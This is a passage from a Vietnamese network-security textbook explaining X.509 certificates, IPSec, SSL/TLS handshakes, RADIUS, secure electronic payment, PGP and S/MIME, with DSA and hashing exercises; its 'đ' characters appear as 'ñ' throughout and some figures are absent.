cho các dịch vụ xác thực. Thư mục chứa các chứng nhận khoá công khai, khoá công khai
của người sử dụng ñược ký bởi chủ quyền chứng nhận. ðể thống nhất dịch vụ cũng xác
ñịnh các thủ tục xác thực, sử dụng mã khoá công khai và chữ ký ñiện tử. Tuy thuật toán
không chuẩn nhưng ñược RSA ñề xuất. Các chứng nhận X.509 ñược sử dụng rộng rãi.
1. Các chứng nhận X.509
ðược phát hành bởi Chủ quyền chứng nhận (Certification Authority – CA) bao gồm:
o Các phiên bản 1,2 hoặc 3
o Số sổ (duy nhất với CA) xác ñịnh chứng nhận
o Thuật toán xác ñịnh chữ ký
o Xuất bản tên X.500 (CA)
o Chu kỳ hiệu lực (từ-ñến ngày)
o ðối tượng của tên X.500 (tên của người sở hữu)
o ðối tượng thông tin khoá công khai (thuật toán, các tham số,khoá)
o ðịnh danh duy nhất xuất bản (phiên bản 2+)
o ðịnh danh duy nhất ñối tượng (phiên bản 2+)
o Các trường mở rộng (phiên bản 3)
o Chữ ký (hoặc hash của các trường trong chứng nhận)
Ký hiệu CA<<A>> là chứng nhận cho A ñược ký bởi CA
2. Nhận chứng nhận
- 125 -
Người sử dụng bất kỳ có thể trao ñổi với CA ñể nhận ñược chứng nhận. Chỉ CA có thể
sửa chứng nhận. Vì không thể bị giả mạo nên chứng nhận có thể ñược ñặt trong thư mục
công cộng.
3. Sơ ñồ phân cấp CA
Nếu cả hai người sử dụng chia sẻ chung CA thì họ ñược giả thiết là biết khoá công khai
của CA ñó. Ngược lại các CA cần tạo nên sơ ñồ phân cấp ñể trao ñổi chứng nhận với
nhau. Sử dụng chứng nhận liên kết các thành viên của sơ ñồ ñể có ñược chứng nhận của
các CA khác. Mỗi CA có thể gửi tiếp (forward) các chứng nhận của mình cho clients và
có thể gửi lại (backward) chứng nhận của mình cho cha của nó. Mỗi client tin tưởng các
chứng nhận của cha. Có thể kiểm chứng chứng nhận bất kỳ của một CA cho người sử
dụng bằng các CA khác trong sơ ñồ phân cấp.
4. Sự thu hồi chứng nhận
Giấy chứng nhận có chu kỳ sử dụng, có thể thu hồi trước thời hạn trong những trường
hợp cần thiết như: khoá riêng của người sử dụng bị lộ, người dùng không tiếp tục ñược
chứng nhận bởi CA ñó, Giấy chứng nhận của CA bị làm hại. Nói chung CA bảo trì danh
sách các chứng nhận bị thu hôì (CRL – Certificate Revocation List). Người sử dụng có
thể kiểm tra lại các chứng nhận ñã bị thu hồi.
5. Các thủ tục xác thực
X.509 bao gồm ba thủ tục xác thực tùy chọn: xác thực một chiều, xác thực hai chiều và
xác thực ba chiều. Mọi thủ tục trên ñều sử dụng các chữ ký khoá công khai.
Xác thực một chiều
Một chiều A->B ñược sử dụng ñể thiết lập
o Danh tính của A và rằng mẩu tin là từ A
o Mẩu tin ñược gửi cho B
o Tính toàn vẹn và gốc gác của mẩu tin
Mẩu tin có thể bao gồm cả nhãn thời gian, ký hiệu ñặc trưng của mẩu tin (nonce), danh
tính của B và nó ñược ký bởi A. Có thể bao gồm một số thông tin bổ sung cho B như
khoá phiên.
Xác thực hai chiều
Hai mẩu tin A->B và B->A ñược thiết lập, ngoài mẩu tin từ A ñến B như trên còn có:
o Danh tính của B và trả lời từ B
o Trả lời này dành cho A
o Tính toàn vẹn và gốc gác của trả lời
Trả lời bao gồm cả ký hiệu ñặc trưng của mẩu tin (nonce) từ A, cả nhãn thời gian và ký
hiệu ñặc trưng trả lời từ B. Có thể bao gồm một số thông tin bổ sung cho A.
Xác thực ba chiều
- 126 -
Ba mẩu tin A->B, B->A và A->B ñược thiết lập như trên mà không có ñồng hồ ñồng bộ.
Ngoài 2 chiều như trên còn có trả lời lại từ A ñến B chứa bản sao nonce của trả lời từ B,
nghĩa là các nhãn thời gian mà không cần kiểm tra.
X.509 phiên bản 3
Trong phiên bản 3 ñược bổ sung một số thông tin cần thiết trong giấy chứng nhận như:
Email/URL, chi tiết về ñợt phát hành, các ràng buộc sử dụng. Tốt hơn hết là ñặt tên tường
minh cho các cột mới xác ñịnh trong phương pháp mở rộng tổng quát. Các mở rộng bao
gồm:
o Danh tính mở rộng
o Chỉ dẫn tính quan trọng
o Giá trị mở rộng
Các mở rộng xác thực
Khoá và các thông tin ñợt phát hành
o Bao trùm thông tin về ñối tượng, khoá người phát hành, chỉ thị kiểu phát
hành, chứng nhận
ðối tượng chứng nhận và các thuộc tính người phát hành
o Hỗ trợ có tên phụ, ñịnh dạng phụ cho các ñối tượng và người phát hành
Chứng nhận các ràng buộc phát hành
o Cho phép sử dụng các ràng buộc trong chứng nhận bởi các CA khác

Bài tập

1. Chữ ký ñiện tử DSA:


• Cho p = 23, q = 11, h=3
• Tính g
• NSA A chọn khoá riêng xA = 7, tính khoá công khai của yA của A
• Cho bản Hash của M là H(M) = 15
• Chọn số ngẫu nhiên k = 6
• Tính chữ ký ñiện tử của A: (r, s)
• Nêu cách người nhận kiểm chứng chữ ký ñiện tử của A trên bản tin M.

2. Chữ ký ñiện tử DSA:


• Cho p = 53, q = 13, h=5
• Tính g
• NSA A chọn khoá riêng xA = 11, tính khoá công khai của yA của A
• Cho bản Hash của M là H(M) = 17
• Chọn số ngẫu nhiên k = 9
- 127 -
• Tính chữ ký ñiện tử của A: (r, s)
• Nêu cách người nhận kiểm chứng chữ ký ñiện tử của A trên bản tin M.

3. Hãy cho biết các phương pháp phân phối khoá công khai. Và các cách trao ñổi
công khai khoá mật giữa hai người sử dụng
4. Nêu sự khác biệt giữa MAC và Hash và nêu tác dụng của chúng. Cho một số ví
dụ về các hàm MAC và Hash.
5. Cho biết HMAC là gì, sử dụng chúng vào mục ñích nào.
6. Nêu một số cách tạo và kiểm chứng chữ ký ñiện tử
7. Chứng minh “Nghịch lý Ngày sinh nhật”, tức là có ít nhất 23 người, thì xác
suất ñể có hai người trùng ngày sinh nhật sẽ lớn hơn hoặc bằng 0.5.
8. Các hàm số học và logic cơ bản nào dùng trong MD5?
9. Các hàm số học và logic cơ bản nào dùng trong SHA-1?
10. Các hàm số học và logic cơ bản nào dùng trong RIPEMD-160?
11. Trình bày hoạt ñộng của các giao thức xác thực trên mô hình Kerberos.
12. Nêu nội dung dịch vụ xác thực X.509.
- 128 -

CHƯƠNG 7:
AN TOÀN IP VÀ WEB

Trong chương này chúng ta sẽ xét ñến cơ chế an toàn IPSec và một số giao thức bảo
mật lớp vận chuyển ứng dụng trên Web.

VII.1 An toàn IP
Có khá nhiều cơ chế an toàn ứng dụng chuyên biệt như: S/MIME, PGP, Kerberos,
SSL/HTTPS. Tuy nhiên có những cơ chế an toàn mà xuyên suốt nhiều tầng ứng dụng
như là cơ chế an toàn IP ñược cài ñặt trên mạng cho mọi ứng dụng.

VII.1.1 IPSec
IPSec là cơ chế an toàn IP tổng quan. Nó cung cấp: xác thực, bảo mật và quản trị
khoá. IPSec ñược dùng trên mạng LAN, mạng WAN riêng và chung và trên cả mạng
Internet.
Lợi ích của IPSec
IPSec trên bức tường lửa/router cung cấp an toàn mạnh cho mọi việc truyền qua vành
ñai. Nó chống lại việc ñi vòng qua bức tường lửa/router.
IPSec nằm ở tầng vận chuyển bên dưới nên trong suốt với mọi ứng dụng và có thể
trong suốt với người sử dụng ñầu cuối. Nó có thể cung cấp an toàn cho người sử dụng
riêng biệt và bảo vệ kiến trúc rẽ nhánh.

VII.1.2 Kiến trúc an toàn IP


ðặc tả an toàn IP rất phức tạp, ñược ñịnh nghĩa qua một số chuẩn (RFC): bao gồm
RFC 2401/2402/2406/2408 và có nhiều chuẩn khác ñược nhóm theo loại. ðiều này là
bắt buộc ñối với IP6 và tuỳ chọn với IP4. Có hai mở rộng an toàn cho phần ñầu:
Phần ñầu xác thực (AH – Authentication Header)
Tải trọng an toàn ñóng gói (ESP – Encapsulating Security Payload)
1. Dịch vụ IPSec
IPSec nhằm ñạt các mục ñích sau: kiểm soát truy cập, toàn vẹn không kết nối, xác
thực nguồn gốc dữ liệu, từ chối tải lại gói (ñây là một dạng của toàn vẹn liên kết từng
phần), bảo mật (mã hoá), bảo mật luồng vận chuyển có giới hạn.
2. Liên kết an toàn
Quan hệ một chiều giữa người gửi và người nhận mà cung cấp sự an toàn cho luồng
vận chuyển và ñược xác ñịnh bởi 3 tham số
o Chỉ số tham số an toàn
- 129 -
o ðịa chỉ IP ñích
o Tên của thủ tục an toàn
Ngoài ra có một số các tham số khác như: chỉ số dãy (sequence number), thông tin về
phần ñầu xác thực và phần ñầu mở rộng AH & EH, thời gian sống. Có lưu trữ cơ sở
dữ liệu của các liên kết an toàn.
3. Phần ñầu xác thực (Authentication Header - AH)
AH cung cấp sự hỗ trợ cho an toàn dữ liệu và xác thực của các gói IP:
o Hệ thống ñầu cuối/chuyển mạch có thể xác thực người sử dụng/ứng dụng
o Ngăn tấn công theo dõi ñịa chỉ bằng việc theo dõi các chỉ số dãy.
AH dựa trên sử dụng MAC: HMAC–MD5–96 hoặc HMAC – SHA -1-96
Muốn vậy các bên cần chia sẻ khoá mật.
4. Tải trọng an toàn ñóng gói (ESP)
ESP ñảm bảo bảo mật nội dung mẩu tin và luồng vận chuyển giới hạn, có lựa chọn
cung cấp dịch vụ xác thực và hỗ trợ phạm vi rộng các mã, các chế ñộ mã, bộ ñệm
o Bao gồm DES, Triple DES, RC5, IDEA, CAST,…
o CBC và các chế ñộ khác
o Bộ ñệm cần thiết ñể lấp ñầy các kích thước khối, các trường cho luồng vận
chuyển
5. Chế ñộ vận chuyển và chế ñộ ống ESP
ESP ñược sử dụng với 2 chế ñộ: vận chuyển và ống. Trong chế ñộ ống không cần giữ
tường minh ñịa chỉ ñích.
Chế ñộ vận tải ñược sử dụng ñể mã và tuỳ chọn xác thực dữ liệu IP:
o Dữ liệu ñược bảo vệ nhưng phần ñầu vẫn ñể rõ ñể biết ñịa chỉ ñích
o Có thể phân tích vận chuyển một cách hiệu quả
o Tốt ñối với ESP máy chủ vận chuyển tới máy chủ
Chế ñộ ống mã toàn bộ gói IP
o Bổ sung phần ñầu mới cho bước nhảy tiếp
o Tốt cho mạng riêng ảo VPN (Virtual Private Network), cổng ñến cổng an toàn
6. Kết hợp các liên kết an toàn
Các liên kết an toàn có thể cài ñặt qua AH hoặc ESP. ðể cài ñặt cả hai cần kết hợp
các liên kết an toàn
o Tạo nên bó các liên kết an toàn
o Có thể kết thúc tại các ñiểm cuối cùng nhau hoặc khác nhau
o Kết hợp bởi kề vận chuyển và ống lặp
Cần bàn luận về thứ tự xác thực và mã hoá
7. Quản trị khoá
- 130 -
Quản lý sinh khoá và phân phối khoá giữa các bên trao ñổi thông tin, thông thường
cần hai cặp khoá, 2 khoá trên một hướng cho AH và ESP.
Trong cơ chế Quản trị khoá thủ công, người quản trị hệ thống thiết lập cấu hình cho
từng hệ thống.
Trong cơ chế Quản trị khoá tự ñộng:
o Hệ thống tự ñộng dựa vào yêu cầu về khoá cho các liên kết an toàn trong
hệ thống lớn.
o Có các thành phần như thủ tục trao ñổi khóa Oakley và liên kết an toàn
trên mạng ISAKMP
8. Oakley
Oakley là thủ tục trao ñổi khoá, dựa trên trao ñổi khoá Diffie-Hellman. Ở ñây bổ sung
các ñặc trưng ñể khắc phục các ñiểm yếu như Cookies, nhóm (tham số tổng thể), các
chỉ số ñặc trưng (nonces), trao ñổi khoá Diffie Hellman với việc xác thực. Có thể sử
dụng số học trên trường số nguyên tố hoặc ñường cong elip.
9. ISAKMP
ISAKMP liên kết an toàn trên Internet và thủ tục quản trị khoá. Nó cung cấp khung
ñể quản lý khoá, xác ñịnh các thủ tục và ñịnh dạng gói ñể thiết lập, thỏa thuận, ñiều
chỉnh và xoá các liên kết an toàn (SA – Secure Associations). ISAKMP ñộc lập với
thủ tục trao ñổi khoá, thuật toán mã hoá và phương pháp xác thực
Trao ñổi và tải trọng ISAKMP
Có một số kiểu tải trọng ISAKMP: an toàn, ñề xuất, dạng vận chuyển, khoá, ñịnh
danh, chứng nhận, hash, chữ ký, nonce và xoá.
ISAKMP có bộ khung cho 5 kiểu trao ñổi mẩu tin:cơ sở, bảo vệ ñịnh danh, xác thực,
tích cực và thông tin.

VII.2 An toàn Web


VII.2.1 Khái niệm
Web ngày càng ñược sử dụng rộng rãi bởi các công ty, chính phủ và cá nhân, nhưng
Internet và Web có những lỗ hổng lớn và có nhiều mối ñe doạ an toàn như:
o Tính toàn vẹn
o Bảo mật
o Từ chối dịch vụ
o Xác thực
Như vậy cần bổ sung cơ chế bảo mật cho Web.
VII.2.2 SSL (Secure Socket Layer)
- 131 -
SSL là dịch vụ an toàn tầng vận chuyển, ban ñầu ñược phát triển bởi Netscape. Sau
ñó phiên bản 3 của nó ñược thiết kế cho ñầu vào công cộng và trở thành chuẩn
Internet, ñược biết ñến như an toàn tầng vận chuyển TLS (Transport Layer Security).
SSL sử dụng giao thức TCP ñể cung cấp dịch vụ ñầu cuối ñến cuối tin cậy và có 2
tầng thủ tục

VII.2.3 Kiến trúc SSL

Ở ñây kết nối SSL là:


o Tạm thời, ñầu cuối ñến ñầu cuối, liên kết trao ñổi
o Gắn chặt với 1 phiên SSL
Và phiên SSL:
o Liên kết giữa người sử dụng và máy chủ
o ðược tạo bởi thủ tục HandShake Protocol
o Xác ñịnh một tập các tham số mã hoá
o Có thể chia sẻ bởi kết nối SSL lặp

1. Dịch vụ thủ tục bản ghi SSL


Dịch vụ thủ tục bản ghi SSL ñảm bảo tính toàn vẹn của bản tin:
o Sử dụng MAC với khoá mật chia sẻ
o Giống như HMAC nhưng với bộ ñệm khác
và cung cấp bảo mật:
o Sử dụng mã ñối xứng với khoá chung xác ñịnh bởi thủ tục HandShake.
- 132 -
o IDEA, RC2-40, DES-40, DES, 3DES, Fortezza, RC4-40, RC4-128
o Bản tin ñược nén trước khi mã
2. Thủ tục thay ñổi ñặc tả mã SSL (SSL Change Cipher Spec Protocol):
ðây là một trong 3 giao thức chuyên biệt của SSL sử dụng thủ tục bản ghi SSL. ðây
là mẩu tin ñơn, buộc trạng thái treo trở thành hiện thời và cập nhật bộ mã ñang dùng
3. Thủ tục nhắc nhở SSL (SSL Alert Protocol)
Truyền ñi lời nhắc của SSL liên quan cho thành viên. Nghiêm khắc: nhắc nhở hoặc
cảnh báo
Nhắc nhở ñặc biệt:
o cảnh báo: mẳu tin không chờ ñợi, bản ghi MAC tồi, lỗi giải nén, lỗi
Handshake, tham số không hợp lệ
o Nhắc nhở: ñóng ghi chú, không chứng nhận, chứng nhận tồi, chứng nhận
không ñược hỗ trợ, chứng nhận bị thu hồi, chứng nhận quá hạn, chứng
nhận không ñược biết ñến.
Nén và mã như mọi dữ liệu SSL
4. Thủ tục bắt tay SSL (SSL HandShake Protocol)
Thủ tục này cho phép máy chủ và máy trạm:
o Xác thực nhau
o Thỏa thuận thuật toán mã hoá và MAC
o Thỏa thuận khoá mã sẽ dùng
Nó bao gồm một loạt các thông tin:
o Thiết lập các khả năng an toàn
o Xác thực máy chủ và trao ñổi khoá
o Xác thực máy trạm và trao ñổi khoá
o Kết thúc
- 133 -

5. An toàn tầng vận chuyển


IETF chuẩn RFC 2246 giống như SSLv3.

Với khác biệt nhỏ:


o số ký hiệu kích thước bản ghi
o sử dụng HMAC thay cho MAC
o hàm giả ngẫu nhiên tăng ñộ mật
o có mã ghi chú bổ sung
o có một số thay ñổi hỗ trợ mã
o thay ñổi kiểu chứng nhận và thỏa thuận
o thay ñổi bộ ñệm và tính toán mã
Sau ñây ta xem xét chi tiết giao thức xác thực người dùng RADIUS và giao thức
SSL:
Giao thức RADIUS
RADIUS là một dịch vụ dành cho việc xác nhận và cho phép người dùng truy cập từ xa
qua các thiết bị như môdem, DSL, cáp mạng hoặc các thiết bị không dây khác. Một site
- 134 -
thông thường có một máy chủ truy cập ñược kết nối vào một modem. Một máy chủ dịch
vụ RADIUS ñược kết nối vào mạng như một dịch vụ xác nhận. Những người dùng từ xa
gọi vào máy chủ truy cập, máy chủ sẽ yêu cầu những dịch vụ xác nhận từ máy chủ dịch
vụ RADIUS. Máy chủ dịch vụ RADIUS sẽ xác nhận người dùng và cho phép họ truy cập
tài nguyên.Những nhà quản trị mạng tạo ra những hồ sơ về người dùng ở máy chủ
RADIUS,xác ñịnh các quyền hạn cấp cho người dùng từ xa. Những giao thức hỏi ñáp
ñược sử dụng trong suốt quá trình người dùng vào mạng.
Giao thức SSL
ðược phát triển bởi Netscape, giao thức SSL ñã ñược sử dụng rộng rãi trên mạng Internet
trong việc xác thực và mã hoá thông tin giữa máy trạm và máy chủ. Trong khi SSL có thể
sử dụng ñể hỗ trợ các giao dịch an toàn cho rất nhiều ứng dụng khác nhau trên Internet.
SSL không phải là một giao thức ñơn lẻ, mà là một tập các thủ tục ñã ñược chuẩn hoá ñể
thực hiện các nhiệm vụ bảo mật sau:
• Xác thực máy chủ: Cho phép người sử dụng xác thực ñược máy chủ muốn kết
nối. Lúc này, phía browser sử dụng các kỹ thuật mã hoá công khai ñể chắc chắn
rằng chứng chỉ và khoá công cộng của máy chủ là có giá trị và ñược cấp phát bởi
một CA trong danh sách các CA ñáng tin cậy của máy trạm.
• Xác thực máy trạm: Cho phép phía máy chủ xác thực ñược người sử dụng muốn
kết nối. Phía máy chủ cũng sử dụng các kỹ thuật mã hoá công khai ñể kiểm tra
xem chứng chỉ và khoá công cộng của máy chủ có giá trị hay không và ñược cấp
phát bởi một CA trong danh sách các CA ñáng tin cậy không.
• Mã hoá kết nối: Tất cả các thông tin trao ñổi giữa máy trạm và máy chủ ñược mã
hoá trên ñường truyền nhằm nâng cao khả năng bảo mật.

Hoạt ñộng của SSL


Giao thức SSL hoạt ñộng dựa trên hai nhóm con giao thức là giao thức “bắt tay” và giao
thức “bản ghi”. Giao thức bắt tay xác ñịnh các tham số giao dịch giữa hai ñối tượng có
nhu cầu trao ñổi thông tin hoặc dữ liệu, còn giao thức bản ghi xác ñịnh khuôn dạng cho
tiến hành mã hoá và truyền tin hai chiều giữa hai ñối tượng ñó.Giao thức SSL “bắt tay”
sẽ sử dụng SSL “bản ghi” ñể trao ñổi một số thông tin giữa máy chủ và máy trạm vào lần
ñầu tiên thiết lập kết nối SSL.
Một giao dịch SSL thường bắt ñầu bởi quá trình “bắt tay” giữa hai bên. Các bước trong
quá trình “bắt tay” có thể như sau:
1. Máy trạm sẽ gửi cho máy chủ số phiên bản SSL ñang dùng, các tham số của thuật
toán mã hoá, dữ liệu ñược tạo ra ngẫu nhiên (chữ ký số) và một số thông tin khác
mà máy chủ cần ñể thiết lập kết nối với máy trạm
- 135 -
2. Máy chủ gửi cho máy trạm số phiên bản SSL ñang dùng, các tham số của thuật
toán mã hoá, dữ liệu ñược tạo ra ngẫu nhiên và một số thông tin khác mà máy
trạm cần ñể thiết lập kết nối với máy chủ. Ngoài ra máy chủ cũng gửi chứng chỉ
của nó ñến máy trạm và yêu cầu chứng chỉ của máy trạm nếu cần.
3. Máy trạm sử dụng một số thông tin mà máy chủ gửi ñến ñể xác thực máy chủ.
Nếu như máy chủ không ñược xác thực thì người sử dụng sẽ ñược cảnh báo và kết
nối không ñược thiết lập. Còn nếu như xác thực ñược máy chủ thì phía máy trạm
sẽ thực hiện tiếp bước 4.
4. Sử dụng tất cả các thông tin ñược tạo ra trong giai ñoạn bắt tay ở trên, máy trạm
(cùng với sự cộng tác của máy chủ và phụ thuộc vào thuật toán ñược sử dụng) sẽ
tạo ra premaster secret cho phiên làm việc, mã hoá bằng khoá công khai mà máy
chủ gửi ñến trong chứng chỉ ở bước 2, và gửi ñến máy chủ.
5. Nếu máy chủ có yêu cầu xác thực máy trạm, thì phía máy trạm sẽ ñánh dấu vào
phần thông tin riêng chỉ liên quan ñến quá trình “bắt tay” này mà hai bên ñều biết.
Trong trường hợp này, máy trạm sẽ gửi cả thông tin ñược ñánh dấu và chứng chỉ
của mình cùng với premaster secret ñã ñược mã hoá tới máy chủ.
6. Máy chủ sẽ xác thực máy trạm. Trường hợp máy trạm không ñược xác thực,
phiên làm việc sẽ bị ngắt. Còn nếu máy trạm ñược xác thực thành công, máy chủ
sẽ sử dụng khoá bí mật ñể giải mã premaster secret, sau ñó thực hiện một số bước
ñể tạo ra master secret.
7. Máy trạm và máy chủ sẽ sử dụng master secret ñể tạo ra các khoá phiên , ñó chính
là các khoá ñối xứng ñược sử dụng ñể mã hoá và giải mã các thông tin trong
phiên làm việc và kiểm tra tính toàn vẹn dữ liệu.
8. Máy trạm sẽ gửi một lời nhắn ñến máy chủ thông báo rằng các thông ñiệp tiếp
theo sẽ ñược mã hoá bằng khoá phiên. Sau ñó nó gửi một lời nhắn ñã ñược mã
hoá ñể thông báo rằng phía máy trạm ñã kết thúc giai ñoạn “bắt tay”.
9. Máy chủ cũng gửi một lời nhắn ñến máy trạm thông báo rằng các thông ñiệp tiếp
theo sẽ ñược mã hoá bằng khoá phiên. Sau ñó nó gửi một lời nhắn ñã ñược mã
hoá ñể thông báo rằng máy chủ ñã kết thúc giai ñoạn “bắt tay”.
10. Lúc này giai ñoạn “bắt tay” ñã hoàn thành, và phiên làm việc SSL bắt ñầu. Cả hai
phía máy trạm và máy chủ sẽ sử dụng các khoá phiên ñể mã hoá và giải mã thông
tin trao ñổi giữa hai bên, và kiểm tra tính toàn vẹn dữ liệu

VII.3 Thanh toán ñiện tử an toàn

VII.3.1 Yêu cầu


- 136 -
ðây là mã mở và ñặc tả an toàn nhằm bảo vệ thanh toán thẻ tín dụng trên Internet. Nó
ñược phát triển năm 1996 bởi Master, Visa Card và không phải hệ thống trả tiền.
Thanh toán ñiện tử an toàn là tập các giao thức và ñịnh dạng an toàn dùng ñể
o Trao ñổi an toàn giữa các ñối tác
o Tin tưởng vì sử dụng X509v3
o Riêng biệt vì hạn chế thông tin cho người cần

Các thành phần Thanh toán ñiện tử

VII.3.2 Thanh toán ñiện tử an toàn


1. Người mua mở tài khoản
2. Người mua nhận ñược chứng nhận
3. Người bán có chứng nhận của họ
4. Người mua ñặt hàng
5. Người bán ñược kiểm chứng
6. ðơn ñặt hàng và trả tiền ñược gửi
7. Người bán yêu cầu giấy phép trả tiền
8. Người bán duyệt ñơn ñặt hàng
9. Người bán cung cấp hàng và dịch vụ
10. Người bán yêu cầu trả tiền
- 137 -
VII.3.3 Chữ ký kép
Người mua tạo chữ ký kép
o Thông tin ñơn ñặt OI cho người bán
o Thông tin trả tiền PI cho ngân hàng
Không bên nào biết chi tiết của người khác. Nhưng cần phải biết là họ ñược kết nối
với nhau. Sử dụng chữ ký kép cho mục ñích này
o Ký trên bản ghép của OI và PI
VII.3.3 Yêu cầu trả tiền
Trao ñổi yêu cầu trả tiền gồm 4 mẩu tin sau
1. Khởi tạo yêu cầu - nhận chứng nhận
2. Khởi tạo trả lời – ký trả lời
3. Yêu cầu trả tiền - của OI và PI
4. Trả lời trả tiền – ñơn phúc ñáp
VII.3.4 Yêu cầu trả tiền – người mua

VII.3.5 Yêu cầu trả tiền – người bán


- 138 -

1. Kiểm tra chứng nhận người giữ thẻ bằng chữ ký của CA
2. Kiểm tra chữ ký kép bằng cách sử dụng khoá chữ ký công khai của người mua
ñể tin tưởng rằng ñơn không bị giả mạo khi truyền và ñược ký sử dụng chữ ký
khoá riêng của người giữ thẻ.
3. Xử lý ñơn ñặt và gửi tiếp thông tin trả tiền cho cổng trả tiền ñể xác thực (mô
tả sau)
4. Gửi phản hồi trả tiền cho người giữ thẻ

VII.3.6 Giấy phép cổng trả tiền


1. Kiểm chứng mọi chứng nhận
2. Giải mã phong bì ñiện tử của khối giấy phép và nhận ñược khoá ñối xứng, sau
ñó giải mã khối giấy phép
3. Kiểm tra chữ ký của người bán trên khối giấy phép
4. Giải mã phong bì ñiện tử khối trả tiền, nhận ñược khoá ñối xứng, sau ñó giải
mã khối trả tiền
5. Kiểm tra chữ ký kép trên khối trả tiền
- 139 -
6. Kiểm tra rằng, thanh toán ID nhận ñược từ người bán phù hợp với danh tính
trong PI nhận ñược (không trực tiếp) từ người bán
7. Yêu cầu và nhận ñược giấy phép từ nơi phát hành
8. Gửi trả lời giấy phép cho người bán

VII.3.7 Nhận trả tiền


Người bán gửi cho cổng trả tiền yêu cầu nhận trả tiền. Cổng kiểm tra yêu cầu ñó. Sau
ñó yêu cầu chuyển tiền ñến tài khoản người bán. Thông báo cho người bán và chờ trả
lời việc nhận.

VII.4 An toàn thư ñiện tử


Thư ñiện tử là một trong những dịch vụ mạng ñược coi trọng và ứng dụng rộng rãi nhất.
ðồng thời nội dung của các mẩu tin không an toàn. Có thể bị quan sát trên ñường truyền
hoặc bởi những người có thẩm quyền thích hợp ở hệ thống ñầu cuối.
Nâng cao an toàn thư ñiện tử là mục ñích quan trọng của mọi hệ thống trao ñổi thư. Ở
ñây phải ñảm bảo các yêu cầu sau: tính bảo mật nội dung tin gửi, xác thực người gửi mẩu
tin, tính toàn vẹn của mẩu tin, hơn nữa bảo vệ khỏi bị sửa, tính chống từ chối gốc, chống
từ chối của người gửi.

VII.4.1 Dịch vụ PGP.


PGP (Pretty Good Privacy) là một dịch vụ về bảo mật và xác thực ñược sử dụng rộng rãi
cho chuẩn an toàn thư ñiện tử. PGP ñược phát triển bởi Phil Zimmermann. Ở ñây lựa
chọn các thuật toán mã hoá tốt nhất ñể dùng, tích hợp thành một chương trình thống nhất,
có thể chạy trên Unix, PC, Macintosh và các hệ thống khác. Ban ñầu là miĩen phí, bây
giờ có các phiên bản thương mại. Sau ñây chúng ta xem xét hoạt ñộng của PGP

Thao tác PGP – xác thực


Người gửi tạo mẩu tin, sử dụng SHA-1 ñể sinh Hash 160 bit của mẩu tin, ký hash với
RSA sử dụng khoá riêng của người gửi và ñính kèm vào mẩu tin.
Người nhận sử dụng RSA với khoá công khai của người gửi ñể giải mã và khôi phục bản
hash. Người nhận kiểm tra mẩu tin nhận sử dụng bản hash của nó và so sánh với bản hash
ñã ñược giải mã.

Thao tác PGP – bảo mật


Người gửi tạo mẩu tin và số ngẫu nhiên 128 bit như khoá phiên cho nó, mã hoá mẩu tin
sử dụng CAST-128/IDEA /3DES trong chế ñộ CBC với khoá phiien ñó. Khoá phiên
ñược mã sử dụng RSA với khoá công khai người nhận và ñính kèm với mẩu tin.
- 140 -
Người nhận sử dụng RSA với khoá riêng ñể giải mã và khôi phục khoá phiên. Khoá
phiên ñược sử dụng ñể giải mã mẩu tin.

Thao tác PGP - Bảo mật và xác thực


Có thể sử dụng cả hai dịch vụ trên cùng một mẩu tin. Tạo chữ ký và ñính vào mẩu tin,
sau ñó mã cả mẩu tin và chữ ký. ðính khoá phiên ñã ñược mã hoá RSA/ElGamal.

Thao tác PGP – nén


Theo mặc ñịnh PGP nén mẩu tin sau khi ký nhưng trước khi mã. Như vậy cần lưu mẩu
tin chưa nén và chữ ký ñể kiểm chứng về sau. Vì rằng nén là không duy nhất. Ở ñây sử
dụng thuật toán nén ZIP.

Thao tác PGP – tương thích thư ñiện tử


Khi sử dụng PGP sẽ có dữ liệu nhị phân ñể gửi (mẩu tin ñược mã). Tuy nhiên thư ñiện tử
có thể thiết kế chỉ cho văn bản. Vì vậy PGP cần mã dữ liệu nhị phân thô vào các ký tự
ASCII in ñược. Sau ñó sử dụng thuật toán Radix 64, ánh xạ 3 byte vào 4 ký tự in ñược và
bổ sung kiểm tra thừa quay vòng CRC ñể phát hiện lỗi khi truyền. PGP sẽ chia ñoạn mẩu
tin nếu nó quá lớn.

Tóm lại, cần có khoá phiên cho mỗi mẩu tin, có kích thước khác nhau: 56 bit – DES, 128
bit CAST hoặc IDEA, 168 bit Triple – DES, ñược sinh ra sử dụng dữ liệu ñầu vào ngẫu
nhiên lấy từ sử dụng trước và thời gian gõ bàn phím của người sử dụng
- 141 -

Khoá riêng và công khai của PGP


Vì có nhiều khoá riêng và khoá công khai có thể ñược sử dụng, nên cần phải xác ñịnh rõ
cái nào ñược dùng ñể mã khoá phiên trong mẩu tin. Có thể gửi khoá công khai ñầy ñủ với
từng mẩu tin. Nhưng ñều ñó là không ñủ, vì cần phải nêu rõ danh tính của người gửi. Do
ñó có thể sử dụng ñịnh danh khoá ñể xác ñịnh người gửi. Có ít nhất 64 bit có ý nghĩa của
khoá và là duy nhất, có thể sử dụng ñịnh danh của khoá trong chữ ký.

PGP Message Format

Các chùm khoá PGP


Mỗi người sử dụng PGP có một cặp chùm khoá. Chùm khoá công khai chứa mọi khoá
công khai của các người sử dụng PGP khác ñược người ñó biết và ñược ñánh số bằng
ñịnh danh khoá (ID key). Chùm khoá riêng chứa các cặp khoá công khai/riêng của người
- 142 -
ñó ñược ñánh số bởi ñịnh danh khoá và mã của khoá lấy từ giai ñoạn duyệt hash. An toàn
của khoá công khai như vậy phụ thuộc vào ñộ an toàn của giai ñoạn duyệt.

Sinh mẩu tin PGP


Sơ ñồ sau mô tả qui trình sinh mẩu tin PGP ñể gửi cho người nhận.

Nhận mẩu tin

PGP
Sơ ñồ sau nêu cách người nhận giải mã, kiểm chứng thông tin ñể ñọc mẩu tin.
- 143 -

Quản lý khoá PGP


Tốt hơn hết dựa vào chủ quyền chứng nhận. Trong PGP mỗi người sử dụng có một CA
của mình. Có thể ký khoá cho người sử dụng mà anh ta biết trực tiếp. Tạo thành “Web
của niềm tin”. Cần tin cậy khóa ñã ñược ký, và tin cậy các khoá mà các người khác ký
khi dùng một dây chuyền các chữ ký ñến nó.
Chùm khoá chưá cả các chỉ dẫn tin cậy. Người sử dụng có thể thu hồi khoá của họ

VII.4.2 Mở rộng thư Internet ña mục ñích/an toàn S/MIME


Tăng cường an toàn cho thư ñiện tử ña mục ñích mở rộng MIME (Multipurpose Internet
Mail Extension). Thư ñiện tử Internet RFC822 gốc chỉ có văn bản, MIME cung cấp hỗ
trợ cho nhiều kiểu nội dung và mẩu tin có nhiều phần với mã hoá dữ liệu nhị phân thành
dạng văn bản.
